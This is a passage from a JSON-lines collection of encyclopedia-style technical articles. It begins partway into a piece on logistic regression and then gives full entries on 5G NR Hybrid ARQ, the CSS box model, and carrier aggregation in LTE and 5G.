that since the scale is logarithmic the loss decreases slowly as the predicted probability gets closer to the true label. But, as the predicted probability diverges from the true label the loss increases rapidly. This has the effect of heavily penalising incorrect predictions. \n\n## Milestones\n\n1838\n\nThe logistic function is introduced in a series of three papers by Pierre François Verhulst between 1838 and 1847. He uses it as a model of population growth by adjusting the exponential growth model, under the guidance of Adolphe Quetelet. \n\n1889\n\nThe term *regression* is coined by Francis Galton to describe a biological phenomenon. He observes that the heights of descendants of tall ancestors tend to regress down towards a normal average, a phenomenon also known as *regression toward the mean*. \n\n1943\n\nWilson and Worcester use logistic model in bioassay which is the first known application of its kind. \n\n1966\n\nCox introduces **multinomial logit model**. This is a step up for logistic regression applications with the logit model. \n\n1973\n\nDaniel McFadden links the multinomial logit to the **theory of discrete choice**, specifically Luce's choice axiom, showing that the multinomial logit follows from the assumption of independence of irrelevant alternatives and interpreting odds of alternatives as relative preferences. This gives a theoretical foundation for the logistic regression. In 2000, McFadden is awarded Nobel Prize for this contribution.","meta":{"title":"Logistic Regression","href":"logistic-regression"}}
{"text":"# 5G NR Hybrid ARQ\n\n## Summary\n\n\n5G NR supports Hybrid ARQ, which is a combination of retransmissions and error correction. Where possible, errors are corrected. Where correction is not possible, errors are detected and packet retransmission is requested. The receiver attempts to decode the packet based on current and previous transmissions. \n\nIn 5G NR, HARQ operates at both MAC and PHY layers. Retransmissions occur at the MAC layer. PHY layer at the receiver combines one or more transmissions to increase the chances of correct decoding.\n\nThe use of HARQ in 5G NR benefits URLLC and eMBB use cases. HARQ typically achieves a residual error rate of 0.1-1%. Better performance can be achieved but at the cost of increased feedback signalling, higher power or lower spectral efficiency.\n\n## Discussion\n\n### Why do we need HARQ in 5G when RLC and PDCP do retransmissions?\n\nRetransmissions in 5G NR are possible at three layers: MAC, RLC and PDCP. RLC and PDCP being higher layers, the feedback signalling is slower. HARQ retransmissions at MAC react faster to channel conditions and improve performance for delay-sensitive applications. Applications requiring 100Mbps may need highly reliable connections to avoid triggering TCP congestion-avoidance mechanism. A combination of HARQ's fast retransmissions and RLC's reliable packet delivery achieves this. \n\nRLC retransmissions are limited to logical channels in Acknowledged Mode (AM). HARQ offers retransmission capability for RLC UM and TM. Moreover, RLC transmissions can potentially happen on a different component carrier or cell but HARQ retransmissions happen on the same cell as the original transmission. \n\nPDCP retransmissions are useful during inter-gNB handovers. Undelivered packets are forwarded at the PDCP layer from old to new gNB. RLC retransmissions won't work since new RLC entities are established in the new gNB. HARQ retransmissions won't work since HARQ buffers are flushed during handover. \n\n\n### What are some technical details of 5G NR HARQ?\n\n5G NR HARQ is **asynchronous**. Transmissions and retransmissions are explicitly signalled. They can be flexibly scheduled. They're not pre-determined according to some fixed pattern. Asynchronous HARQ is also more suited for unlicensed bands. \n\n5G NR HARQ is **adaptive**. Retransmissions can use different coding rates and redundancy bits. Receiver doesn't discard erroneous packets but stores them in its buffer. All versions are used to improve decoding. The method employed to combine different versions of the packet is called **Incremental Redundancy**.  \n\nHARQ is a stop-and-wait protocol. Another packet is not sent while waiting for feedback on the current packet. Due to the round trip time, this results in underutilization of radio resources. 5G NR HARQ solves this by allowing **multiple concurrent HARQ processes**. Each process can have one packet pending an ACK. In both downlink and uplink, UE supports up to 16 HARQ processes per cell. \n\nHARQ applies to transmissions on PDSCH and PUSCH. Feedback for PDSCH comes on either PUCCH or PUSCH. Feedback for PUSCH is via uplink grants since receiver and scheduler are in gNB. \n\n\n### Could you share more details of Incremental Redundancy as specified in 5G NR?\n\n5G NR HARQ doesn't discard erroneous packets. They're stored in a buffer and combined with retransmitted packets that will be received later. This is called **Hybrid ARQ with Soft-Combining**. With Incremental Redundancy, retransmitted packets related to the same information bits although each packet carries a different subset of information and parity bits. Exactly what goes into each transmission is determined by 5G NR's rate matching functionality. Each transmission is called a **Redundancy Version (RV)**. \n\nThe error-correcting code used in 5G NR is Low Density Parity Check (LDPC) code. For LDPC, the order in which RVs are received matters because some RVs can't be decoded on their own. The default order is 0, 2, 3 and 1. RV0 and RV3 are self-decodable. The first transmission RV0 includes all information bits (aka systematic bits). \n\nHARQ's implicit link adaptation can be superior to explicit link adaptation since additional RVs are sent only when needed. Explicit link adaptation is still relevant for delay-sensitive applications. \n\n\n### What's the role of PHY and MAC layers for HARQ operation?\n\nThere's one MAC entity (and therefore one HARQ entity) for each serving cell. Each HARQ entity handles many HARQ processes. HARQ entity distributes the traffic among its processes. Each process handles one TB at a time but if downlink spatial multiplexing is configured, two TBs are possible. In downlink, HARQ processes are also used for slot aggregation, also called TTI bundling. In this case, a TB is retransmitted without waiting for ACK. \n\nAt MAC, New Data Indicator (NDI) is used to determine if a received TB is a new transmission or a retransmission. When NDI is toggled in DCI, it implies new downlink data. Toggling NDI in uplink grant informs UE to send new data. \n\nWhen a retransmitted TB is received, MAC informs PHY to combine current and previous transmissions of the TB. Thus, PHY layer is responsible for soft combining and decoding. However, from a 5G specification perspective, CBG retransmissions are specified at PHY though they could have been specified at MAC. \n\n\n### What's the difference between TB vs CBG retransmissions?\n\nExactly one MAC PDU goes into one Transport Block (TB). MAC does TB retransmissions but the problem in 5G NR is that a TB can be as big as 1,277,992 bits. Retransmitting the entire TB when only a few bits are in error wastes spectral resources. It's for this reason that 5G NR has the concept of Code Block (CB) and Code Block Group (CBG). \n\nA TB along with its CRC is broken up into smaller units called Code Blocks. A CB has a maximum size of 8448 bits. Each CB is protected with its own CRC. However, sending ACK/NACK for each code block can result in excessive signalling. For this reason, 2/4/6/8 code blocks are grouped into a Code Block Group. Only CBGs are retransmitted, not the entire TB. Even the feedback signalling is based on CBGs and not on CBs. \n\nA TB can have only one CBG, which in turn may have one or more CBs. It's also possible for a TB to have multiple CBGs with only one CB per CBG. \n\n\n### Could you share details of HARQ codebooks?\n\nA UE can acknowledge multiple CBGs or TBs together, including the case of Carrier Aggregation (CA) where multiple TBs are received per TTI. How many ACK/NACK bits to send and how to package these bits is defined as a **codebook**.\n\n5G NR defines four codebooks:  \n\n    + **CBG-Based HARQ-ACK Codebook**: RRC configures the UE with maximum CBGs per TB and CBGFI. If a TB has fewer CBGs, UE shall send NACKs for the remaining bits.\n    + **Type-1 HARQ-ACK Codebook**: A *semi-static* codebook. The number of bits to send in an ACK/NACK report is fixed and could be potentially large. If many component carriers are configured but only a few are scheduled, this is inefficient.\n    + **Type-2 HARQ-ACK Codebook**: A *dynamic* codebook or *enhanced dynamic* codebook (Release 16 onwards). This is more optimized since UE sends feedback only for the scheduled carriers. However, in poor channel conditions, UE may wrongly infer the number of carriers that were scheduled. To solve this problem, 5G NR specifies Downlink Assignment Index (DAI) as part of DCI.\n    + **Type-3 HARQ-ACK Codebook**: Applicable for *OneShotFeedback*. UE sends ACK/NACK report for all HARQ processes and all CCs configured in the PUCCH group.\n\n### Between data reception and its ACK/NACK, how is the timing offset determined?\n\nThe offset between DCI slot and start of PDSCH reception is determined by \\(K\\_0\\) and the different numerologies of PDCCH and PDSCH. Likewise, parameter \\(K\\_2\\) specifies the offset between DCI slot and PUSCH transmission. Both these are configured by RRC. \n\nSpecific to HARQ is the parameter \\(K\\_1\\). This specifies the timing between PDSCH and the ACK/NACK on PUCCH. In DCI formats 1\\_0, 1\\_1 and 1\\_2, this is called **PDSCH-to-HARQ Feedback Timing Indicator**. This indicator references an RRC-configured table for PDSCH. Timing is indicated dynamically via DCI or semi-statically via RRC configuration. \n\nIn the above figure, three PDSCH transmissions happen but in each transmission a different timing offset is specified. The gNB has scheduled this in such a way that the feedback for all three transmissions arrive together. We may say a single HARQ codebook acknowledges all three transmissions. \n\nIf ACK/NACK is sent on PUCCH, UE uses the PUCCH resources allocated to it. \n\n\n### What are the main Release 16 changes pertaining to HARQ?\n\nTo support URLLC use case, some changes are introduced in Release 16. Out-of-order feedback is possible so that feedback for URLLC can be prioritized over eMBB. In Release 15, a slot has only one PUCCH carrying HARQ feedback. Release 16 allows multiple PUCCHs within a slot. Moreover, a UE can have two HARQ-ACK codebooks to support both URLLC and eMBB services. \n\nBefore sending HARQ feedback in NR-U, the UE has to gain access to the channel via Listen Before Talk (LBT) with exponential backoff. This can be avoided if feedback comes in the same Channel Occupancy (CO) as the downlink data. If CO changes, a Release 16 gNB asks the UE to send HARQ feedback for specific HARQ processes and these could come via an enhanced dynamic codebook. \n\nIn Non-Terrestrial Networks (NTNs), HARQ operation is a challenge due to RTTs in the order of hundreds of milliseconds. Release 16 has chosen to semi-statically disable HARQ and rely only on ARQ. \n\n\n### What control information are specified for 5G NR HARQ operation?\n\nDownlink Control Information (DCI) carries PDSCH and PUSCH scheduling information. DCI comes in many formats. Formats 0\\_0, 0\\_1 and 0\\_2 schedule PUSCH in a cell. Formats 1\\_0, 1\\_1 and 1\\_2 schedule PDSCH in a cell. Other formats are not relevant to HARQ. \n\nIf multiple PUSCH are scheduled, 2-8 bits are possible for NDI and RV in 0\\_1. For PUSCH scheduling, DAI can indicate semi-static codebook (1 bit), dynamic codebook (2 bits) or enhanced dynamic codebook (4 bits). Second DAI can be 0/2/4 bits. \n\nIf second TB is scheduled for PDSCH, NDI and RV are included per TB. DAI length for PDSCH scheduling in 1\\_1 depends on number of DL serving cells and other configurations. Length of PDSCH-to-HARQ feedback timing field is derived from higher layer configuration. \n\nFields Code Block Group Transmission Information (CBGTI) and Code Block Group Flush Indicator (CBGFI) are relevant only if retransmissions are based on CBG. What NDI does for TB-level soft-combining, CBGFI does for CBG-level soft-combining. \n\n\n### How is 5G NR HARQ different from 4G/LTE HARQ?\n\nIn LTE and 5G NR, retransmissions can be adaptive in uplink and downlink. \n\nThe use of code blocks is common to LTE and 5G NR but 5G NR has introduced CBG-based retransmissions.   \n\nIn 5G NR, HARQ is asynchronous in downlink and uplink. In 4G/LTE, HARQ is asynchronous in downlink and synchronous in the uplink. However, Release 13 introduced asynchronous UL HARQ that's used by License-Assisted Access (LAA). Synchronous HARQ is not suitable in 5G NR due to dynamic TDD and operation in unlicensed spectra.  \n\nIn LTE synchronous UL HARQ, the same process ID is used every eighth subframe. An LTE UE responds with HARQ ACK 3ms after receiving the downlink data. 5G NR has more flexibility to respond faster for URLLC use cases. In fact, first transmission and its retransmission can happen within 1ms. \n\nIn LTE, Physical HARQ Indicator Channel (PHICH) is a dedicated downlink channel to carry HARQ ACK/NACK for uplink traffic carried on PUSCH. Such a channel is not required in 5G NR since HARQ is asynchronous. \n\nIn LTE, the number of HARQ processes was limited to 8 but this is increased to 16 in 5G NR. \n\n## Milestones\n\n1960\n\nAt the Fourth London Symposium on Information Theory, Wozencraft and Horstein propose HARQ, although they don't use the term \"HARQ\". In a subsequent MIT Technical Report, they state, \"The system is somewhat similar to human communication, in that typical errors are corrected, while grievous ones initiate a request for retransmission.\" \n\nSep  \n2002\n\n3GPP publishes Release 5 of 3G/UMTS specification. High Speed Downlink Packet Access (HSDPA) is one of the important additions in this release. At the air interface, this includes HARQ with soft combining (chase combining or incremental redundancy) in the downlink with up to 8 HARQ processes. It complements ARQ at the RLC layer. HARQ operation happens in a new sublayer called MAC-hs in the UE and NodeB.  \n\nSep  \n2005\n\n3GPP publishes Release 6 of 3G/UMTS specification. High Speed Uplink Packet Access (HSUPA) is one of the important additions in this release. At the air interface, this includes HARQ with soft combining (chase combining or incremental redundancy) in the uplink with up to 8 HARQ processes. HARQ operation happens in a new sublayer called MAC-e in the UE and NodeB. During a soft handover and due to parallel HARQ processes, RNC might receive duplicate packets and out-of-order packets. MAC-es sublayer in the RNC handles these.  \n\nMar  \n2009\n\n3GPP publishes the first 4G/LTE specification, named Release 8. This includes asynchronous HARQ in downlink and synchronous HARQ in uplink. Each direction can have up to 8 HARQ processes. Retransmissions can be adaptive or non-adaptive. Although a TB is segmented into code blocks, retransmissions happen at the level of TB.  \n\nMar  \n2016\n\n3GPP publishes Release 13 of 4G/LTE specification. Uplink HARQ operation can now be asynchronous, a change introduced to support License-Assisted Access (LAA). This is because in unlicensed spectrum it's not possible to guarantee resources for synchronous transmission. \n\nDec  \n2017\n\n3GPP approves the first specifications for 5G, called \"early drop\" of Release 15. The basics of 5G NR HARQ are defined in this early release: HARQ processes, RV, PDSCH-to-HARQ feedback timing indicator, DAI, NDI, CBGTI, CBGFI, and semi-static and dynamic codebooks. \n\nJul  \n2020\n\n3GPP publishes Release 16 specifications. Enhanced dynamic HARQ-ACK codebook is introduced. DCI formats 0\\_2 and 1\\_2 are added for PUSCH or PDSCH scheduling in one cell respectively. One-shot HARQ-ACK request is added to DCI format 1\\_1. Other fields added to DCI format 1\\_1 and relevant for enhanced dynamic codebook are number of requested PDSCH groups, PDSCH group index, and New Feedback Indicator (NFI).  For operation with shared spectrum channel access, enhanced dynamic codebook and one-shot triggering are useful.","meta":{"title":"5G NR Hybrid ARQ","href":"5g-nr-hybrid-arq"}}
{"text":"# CSS Box Model\n\n## Summary\n\n\nCSS is used to style HTML documents. An important insight is that, \n\n> Every element in web design is a rectangular box\n\nNo matter how complex the design, at the level of elements, it's just a bunch of boxes. The \"box\" is an underlying representation. We don't actually see a box unless the designer chooses to show it's border.\n\nEach box has width and height. It's border may or may not be visible. Content resides within the box. Content maybe surrounded by extra spacing. Each box is separated from its neighbouring boxes by defined distances. The CSS Box Model formalizes these ideas in terms of CSS properties and the values they can accept. \n\nUnderstanding the box model is essential for any web designer or developer. Browsers have built-in tools that enable developers visualize these boxes during development and debugging.\n\n## Discussion\n\n### Which are the essential elements of the CSS Box Model?\n\nSuppose there's a text element `<div>Hello World!</div>`. Let's assume that content begins at the left edge of the box and flows to the right. Content \"Hello World!\" is placed within the box. The box has a size defined by **height** and **width**. These dimensions are calculated from the size of the parent element, size of the content or defined explicitly for the element. \n\nThe edge of the box is called the **border**. Border can be invisible, thin (few pixels) or thick (many pixels). It can be a solid line, a dotted line, and so on. It can be in a chosen colour. \n\nIf we include extra spacing within the box along its edges, this is called **padding**. An element usually appears next to other elements (parent or siblings). The separation from one element to the next is defined by **margin**. \n\nBorder, padding and margin can all have different values for each side of the box. Some border properties are inherited by default. Padding and margin are not inherited by default unless declared explicitly. \n\n\n### How is margin different from padding?\n\nMargin occurs outside the box to separate elements. Padding occurs within the box to add spacing between box edge and content. To put it differently, margin controls rendering of an element and its neighbours, whereas padding controls rendering of an element and its children. \n\nBecause padding area is within the box, CSS properties applied to the box affect the padding area as well. For example, if the element has green background colour, the padding area will have green background but the margin background colour is not affected. In fact, the margin background colour will be determined by that of the parent element. \n\nNon-zero padding increases the overall dimensions of the element. Margin adds spacing outside the box. Adding a margin is like shifting the entire box whereas adding padding is like shifting the content within the box. \n\nPadding can't be negative but margin can be negative. With a negative margin, an element can \"jump out\" of its parent or overlap with another element.  \n\n\n### How are width and height of a box determined?\n\nTotal width of an element is calculated as `margin-right + border-right + padding-right + width + padding-left + border-left + margin-left`, where `width` is the box width. The calculation for height is similar, using top and bottom rather than right and left. \n\nIf element has CSS declaration `box-sizing: border-box;` then total width changes to `margin-right + width + margin-left`. Padding and border sizes don't affect total box dimensions. Content area shrinks. \n\nBox width and height can be specified in CSS, for example `width: 50%` and `height: 100px`. Values are either absolute (pixels, points, inches, etc) or relative (percentage of parent, percentage of viewport, fraction of font size, etc). \n\nIf width and height are not specified, they're determined by the content. For block elements, width is 100% of the parent by default. It's better to specify them if the element size is essential to the overall layout. \n\nIf width and height are specified, but if the content requires more space than available, rendering behaviour is controlled by `overflow` property, which can take values `visible`, `hidden`, `scroll` and `auto`. \n\n\n### How do I use display CSS property?\n\nCSS `display` property is important since it affects how the box is rendered. Common values for `display` include:  \n\n    + `none`: Element is not displayed. Unlike `visibility:hidden` that hides an element but leaves an empty space, `display:none` leaves no empty space.\n    + `inline`: Element is displayed on the same line as adjacent elements. Height and width are determined by the content and can't be set explicitly. This is the default for span, a, img, em, strong, i, small, etc. Only left and right margins are applicable. Padding is applicable on all four sides but top and bottom padding may bleed into lines above and below.\n    + `inline-block`: Similar to inline but height and width can be set. Box model properties are applicable here. The problem of vertical bleeding seen in inline is solved with inline-block.\n    + `block`: Element is displayed on a separate line and takes up 100% width of the parent. This is the default for div, h1, p, li, section, etc.\n\n### What are some variants of the box model?\n\nWhile the box model is often displayed as inline, inline-block or block, there are other variants. A specialization of the box model is `display:table`. This obeys block flow. Cells flow into rows and columns. Table box has margins but not padding. Cells have padding but not margins. Properties `border-collapse` and `table-layout` are applicable. \n\nAnother variation is `display:list-item`, equivalent to using `<li>` tag. Property `list-style-type` is applicable. \n\nIt's possible to take out an element from normal flow and put it in a separate layer. This is achieved with property `position`. Common values include `absolute` (relative to closest ancestor), `relative` (relative to itself in normal flow) and `fixed` (relative to viewport, unaffected by scrolling). Such boxes don't affect the position of other boxes. These boxes can overlap freely. Property `z-index` controls how they overlap, with larger values coming on top. \n\nAnother way to take out an element from normal flow is with `float`. Common values include `left`, `right`, `inline-start` and `inline-end`. Unlike `position`, boxes affect adjacent content in the flow. For example, a box floated left will indent adjacent content to the right. \n\n\n### What is margin collapsing?\n\nConsider two sibling elements, each set with margin of 20px. With inline-block display, elements are separated by 40px since margins are additive. However, if we change to block display, adjacent margins collapse into a single margin of 20px. Note that padding is not subject to collapsing. \n\nCollapsed margin size is the largest of the individual margins. If there are negative margins involved, collapsed margin is the most positive or the most negative margin. When all margins are negative, it collapses to the most negative margin. \n\nMargin collapsing happens for adjacent siblings; when there's no content separating parent and descendants; for empty blocks; and more complex scenarios when these conditions are combined. \n\nIt's been said that margin collapsing is one of design mistakes in CSS. There are rules to when margins can collapse but there are also many exceptions to the rules. This makes it difficult and confusing for a web developer. One way to overcome this complexity is to consistently set right and bottom margins and zero out top and left margins, such as, `margin: 0 40px 40px 0;`. \n\n\n### Could you share some tips for working with CSS Box Model?\n\nHere are some useful tips for beginners:\n\n    + If width is not set, it defaults to 100%. Padding and border will push inwards. If width is explicitly set to 100%, padding and border will push outwards as normal.\n    + Left and right margins can take the value `auto` to center the element horizontally. This is not possible with padding. For centering vertically, use `display: table-cell; vertical-align: middle;` for the element and `display: table` for its parent. CSS Flexbox offers a simpler approach.\n    + To inherit only right margin and fix other margins, use `margin: 10px 0 20px 15px; margin-right: inherit;`.\n    + Use `box-shadow` with `rgba` values to improve design quality.\n    + To fit images to a certain width without exceeding the original width or distorting it, use `max-width: 100%; height: auto;`.\n    + Element height depends on content height and remains unaffected by `height: 100%`. Height can be controlled using padding, such as `height: 0; padding-bottom: 100%;`.\n    + Columns with different content can be made to have the same height using large padding and negative margin. Suppose bottom padding is 10px, we can use `margin-bottom: -99999px; padding-bottom: 100009px;`. CSS Flexbox offers a simpler approach.\n\n### Which are some CSS modules that are relevant to the CSS Box Model?\n\n**CSS Intrinsic & Extrinsic Sizing** is the module that talks about `box-sizing` property that's directly relevant to the box model. This property can take values `content-box` (default) and `border-box`. \n\nThe box model relates to only one element. When designing layout, the use of CSS properties `margin`, `display` and `float` are helpful. However, there are CSS3 modules that work with the box model and simplify layout design:\n\n    + **CSS Flexbox**: Children of a container can adjust their sizes to fit the container. This can happen in one dimension, either horizontally or vertically. By nesting, two-dimensional layouts can be achieved.\n    + **CSS Grid**: A two-dimensional layout system that's easier to work with than Flexbox. This is a modern alternative to the `<table>` tag from the early days of HTML.\n    + **CSS Multi-column**: Content flows into multiple columns with gap and rule between columns.Another useful module is **CSS Box Alignment** that works with layout modules to align elements within their container parent. Elements can be positioned within the parent, spaces between elements can be controlled, and containers can be configured to align the elements within. \n\n## Milestones\n\nDec  \n1996\n\nW3C publishes *Cascading Style Sheets, level 1*, simply called **CSS1**, to express styling of HTML documents. It borrows from desktop publishing terminology. It states that each formatted element is treated as a rectangular box surrounded by optional padding, border and margin areas. Top and bottom margins can collapse. \n\nAug  \n2001\n\nMicrosoft releases Internet Explorer 6, which conforms to the W3C CSS box model. Earlier releases of IE implemented a modified box model that ignored border and padding when computing the total width or height of an element: `total width = margin-left + width + margin-right`. Effectively, earlier versions of IE reduced content size to make room for border and padding. This behaviour is possible in CSS3 via `box-sizing: border-box;`. \n\nAug  \n2002\n\nFirst draft of **CSS2.1** is published, which is a revision of CSS2 from 1997. CSS2.1 becomes a W3C Recommendation in June 2011. For clarify, it adds the terms border edge and padding edge. Inner edge is also called content edge. Outer edge is also called margin edge. Unlike in CSS1, margin, padding and border properties can be **inherited**. \n\nOct  \n2002\n\nW3C publishes the first working draft of *CSS Box Model Module Level 3*. Subsequent revisions of this draft appear in 2007, 2018 and 2020. The main change is to bring clarity for **vertical writing modes**. \n\n2011\n\nBowers et al. publish the book *Pro HTML5 and CSS3 Design Patterns*. They note that to speak of the box model as a single model is an oversimplification. They identify six types of the box model: inline, inline-block, block, table, absolute and floated. \n\nApr  \n2020\n\nW3C publishes the first public working draft of *CSS Box Model Module Level 4*. Property `margin-trim` is introduced with three possible values: `none`, `in-flow` and `all`. Often we include margins between siblings but we wish to avoid margins before/after first/last sibling since they border the parent container. This property when used on an element trims margins of children that border the container's edges.","meta":{"title":"CSS Box Model","href":"css-box-model"}}
{"text":"# Carrier Aggregation\n\n## Summary\n\n\nCarrier Aggregation (CA) is a feature that allows a mobile device to send and receive packets from multiple carriers (aka frequencies) at the same time. Carrier aggregation as a feature is available in Wi-Fi, 3G HSPA+, LTE-Advanced and 5G networks. The many carriers are controlled by a single access point (in Wi-Fi) or base station (in cellular systems).\n\nThe figure shows an example of CA in LTE. LTE has a maximum carrier bandwidth of 20 MHz. Via CA, five carriers are combined to achieve an aggregated bandwidth of 100 MHz. CA brings higher data rate, lower latency, better user experience, and better use of network resources. \n\nCA is possible in downlink and uplink, symmetric or asymmetric. Carriers can be aggregated across FDD and TDD bands, licensed or unlicensed bands.\n\n## Discussion\n\n### Could you explain intra-band versus inter-band CA?\n\nThere are broadly two types of CA: \n\n    + **Intra-Band CA**: The carriers belong to the same band. Carriers can be contiguous (next to each other) or non-contiguous. CA with contiguous carriers is easier to implement. Operators most likely don't have large contiguous spectrum. Hence, non-contiguous CA is a useful feature.\n    + **Inter-Band CA**: The carriers belong to different bands. This is more complex to implement than the intra-band contiguous type. Because cellular operators have licenses to different bands, this has led to the standardization of many inter-band CA combinations to cater to industry needs.\n\n### What technologies use carrier aggregation?\n\nIn HSPA+, 8 DL and 2 UL carriers can be aggregated. HSDPA Multiflow enables aggregation across cells controlled from the same RNC. \n\nIn LTE-Advanced, up to five carriers can be aggregated for a maximum bandwidth of 100 MHz. Each carrier can use a different channel bandwidth. In LTE-Advanced Pro (Rel-13), up to 32 carriers can be aggregated for a maximum bandwidth of 640 MHz. Carriers from unlicensed bands could be aggregated. \n\nIn 5G, intra-band and inter-band CA is possible within FR1, within FR2, and across FR1 and FR2. Up to 16 carriers can be aggregated. Maximum aggregated bandwidth is limited to 1 GHz. Each aggregated carrier can be of a different numerology. \n\nIn both LTE and 5G, Supplemental Downlink (SDL) carriers provide additional throughput. This is nothing but CA. On the contrary, Supplemental Uplink (SUL) is not CA. In general, a UE can be assigned more downlink than uplink carriers. \n\nWi-Fi's channel bonding is intra-band and contiguous. OFDM symbols from adjacent channels are combined to yield a single channel. Hence, this isn't CA as used in HSPA+/LTE/5G. However, Wi-Fi 7 introduced multi-link operation in which a device can aggregate channels from 2.4/5/6 GHz bands.  \n\n\n### What are the possible deployment scenarios of CA?\n\nThe figure show five possible deployment scenarios with CA using carriers F1 and F2 (assume F2 > F1): \n\n    + **Scenario 1**: F1 and F2 are in the same band and have similar coverage with co-located cells. This scenario provides higher capacity and more bandwidth to the UE.\n    + **Scenario 2**: F2 is in a higher band and hence has smaller coverage. F1 provides coverage while F2 improves the throughput.\n    + **Scenario 3**: Cells are co-located but F2 is directed to cover the holes in F1. F1 provides coverage and mobility while F2 improves the throughput.\n    + **Scenario 4**: F1 provides macro cell coverage while F2 Remote Radio Heads (RRHs) improve throughput at hot spots. F1 and F2 can be non-contiguous carriers in the same band or inter-band carriers.\n    + **Scenario 5**: Similar to scenario 2, but frequency-selective repeaters are used to improve F2 coverage.The above scenarios suggest that the benefits of CA are many: higher throughput, better cell coverage, consistent user experience, higher energy efficiency, and higher ROI for operators.  \n\n\n### What's the basic terminology used in LTE and 5G NR carrier aggregation?\n\nEach aggregated carrier is called a Component Carrier (CC). One of them is called Primary Component Carrier (PCC) and the rest are called Secondary Component Carriers (SCCs). The respective cells are called PCell and SCells. Both PCell and SCell are considered as serving cells. There's one HARQ entity per serving cell. \n\nPCC is essential since cell search/selection, system information acquisition and initial random access happen on it. PCC is UE-specific; that is, different UEs can have different carriers as their PCC. In the uplink, only the PCC carries PUCCH (unless two PUCCH groups are configured). Uplink SCCs provide only PUSCH. In the downlink, PCC carries both PDSCH and PDCCH. Downlink SCCs carry PDSCH and optionally PDCCH. \n\nCA can be used together with Dual Connectivity (DC). A UE may be connected to a Master Cell Group (MCG) and a Secondary Cell Group (SCG). CA can happen in each cell group.  \n\n\n### How are CA band combinations named?\n\nFigure shows examples of LTE CA. *CA\\_1C* operates in band 1 with 101-200 number of aggregated resource blocks for CA class C. The maximum aggregated channel bandwidth is 40 MHz from two CCs. Moreover, *CA\\_1C* has two **Bandwidth Combination Sets (BCSs)**. Each BCS allows for a certain combination of channel bandwidth in MHz per CC: (15 + 15, 20 + 20) for BCS0 and (5/10/15 + 20, 20 + 5/10/15/20) for BCS1. \n\n*CA\\_25A-25A* indicates non-contiguous intra-band CA, hence \"25A\" is repeated. *CA\\_1A-5A* indicates inter-band CA involving bands 1 and 5, both applicable to CA class A. \n\nIn 5G NR, CA bandwidth classes are defined separately for FR1 and FR2. We note a few CA NR band combinations:\n\n    + Intra-band Contiguous in FR1: *CA\\_n78B* (20 + 50)\n    + Intra-band Non-Contiguous in FR1: *CA\\_n77(3A)* (3 CCs, 2 BCSs, 1 combination per BCS)\n    + Inter-band in FR1: *CA\\_n1A-n77A*, *CA\\_n1A-n77(3A)* (2 non-contiguous CCs in n77)\n    + Inter-band in FR1 and FR2: *CA\\_n66-n77-n260* (3 bands), *CA\\_n1-n3-n8-n77-n257* (5 bands)Band combinations can be browsed online: LTE CA, NR FR1, NR FR2 and NR FR1-FR2\n\n\n### Which LTE or 5G NR protocol layers are affected by CA?\n\nThe main impact of CA is on MAC and PHY. RLC needs to have larger buffers to handle higher data rates but otherwise RLC is unaffected by CA. RRC signalling is modified. For example, once the UE is connected on the PCell, SCells are set up via RRC signalling. \n\nMAC distributes the RLC PDUs among the many CCs. Each CC handles one transport block per TTI. Each CC is associated with it's own HARQ entity, though all CCs are handled by a single MAC entity. \n\n\n### What are some additional features of LTE and 5G NR CA?\n\nWith **cross-carrier scheduling**, the UE monitors a single PDCCH (for example, on the PCC). This will contain the scheduling information for all the CCs. \n\nFeedback signalling such as HARQ acknowledgements of all CCs are sent on the uplink of the PCell. This suits the asymmetric design of CA in downlink and uplink. However, this may overload the single uplink carrier carrying the signalling. It's therefore possible to configure **two PUCCH groups**. The cell carrying the signalling in the second group may be called Primary Second Cell (PSCell). \n\nIn Rel-16, **unaligned frame boundary** and **Tx switching** are allowed. This provides the UE more transmission opportunities and utilize effectively both its Tx chains. In Rel-17, the PUCCH carrier can be **dynamically selected** to reduce latency. Moreover, HARQ retransmissions can be on a different carrier. \n\nIn LTE Rel-15 and 5G NR Rel-16, **enhanced utilization of Carrier Aggregation (euCA)** was introduced. This allows the UE to perform early measurements so that SCCs can be activated quickly when RRC connection is resumed from an inactive state. \n\n## Milestones\n\n2009\n\nHSPA+ Rel-8 is released. This introduces a feature called **multicarrier** (aka dual-carrier). Two adjacent 5 GHz carriers can be combined to offer a UE higher data rates. Rel-9 (2010) allows non-adjacent carriers to be combined this way. It also brings dual-carrier feature to uplink. This expands to four DL carriers in Rel-10 (2011) and eight DL carriers in Rel-11 (2012). With eight carriers, a UE is able to obtain about 168 Mbps on 40 MHz of aggregated bandwidth, and 672 Mbps when combined with 4x4 MIMO. \n\n2011\n\nRel-10 of LTE-Advanced comes out. This is the first LTE release to introduce CA (intra-band contiguous and inter-band). This standardizes 5 x 20 MHz CA, though in practice it's limited to only two carriers. Rel-11 (2012) of LTE-Advanced introduces support for intra-band non-contiguous CA. Rel-13 (2016) of LTE-Advanced Pro allows 32 CCs that can accommodate unlicensed bands as well. Overall, CA in LTE along with other enhancements (256QAM and 4x4 MIMO) enables *Gigabit LTE*. \n\nMar  \n2015\n\nRel-12 of LTE-Advanced reaches functional freeze. This release includes the capability to aggregate carriers across FDD (paired spectrum) and TDD (unpaired spectrum) bands. This benefits operators who have licenses to both FDD and TDD bands. In fact, operators demonstrated FDD+TDD CA at the MWC 2014. \n\n2021\n\n3GPP starts to focus on the specifications for 5G Standalone CA in FR1 with more than two CCs. Meanwhile, Ericsson claims to support CA in both 5G SA and NSA, with DL 8CC and UL 2CC in mmWave band, 2CC in mid-band, and 3CC in low-band. Qualcomm supports CA via its Snapdragon X65 5G modem. \n\nMar  \n2022\n\nRel-17 reaches stage 3 functional freeze. In 5G NR, **PUCCH Carrier Switching** is possible whereby the PUCCH carrier can be dynamically selected to reduce latency. HARQ retransmissions can use a different carrier from the original transmission. \n\nMay  \n2022\n\nNokia and Optus achieve 3 CC CA over a 5G SA network. This uses the bands 2100 MHz (FDD), 2300 MHz (TDD) and 3500 MHz (TDD). They state that their Samsung S22 customers will soon be able to experience this in commercial service. In August, Nokia and BT Networks demonstrate 4 CC CA over a 5G SA network. Four carriers combined are in the bands 2.1 GHz, 2.6 GHz, 3.4 GHz and 3.6 GHz. \n\nOct  \n2022\n\nIt's seen that most LTE networks use 2-band CA combinations. The two most popular combinations are *CA\\_3A-7A* (1800 MHz and 2600 MHz) and *CA\\_3A-20A* (1800 MHz and 800 MHz), achieving an aggregated bandwidth of 40 MHz. The most popular 3-band combination is *CA\\_3A-7A-20A*, achieving an aggregated bandwidth of 60 MHz.","meta":{"title":"Carrier Aggregation","href":"carrier-aggregation"}}
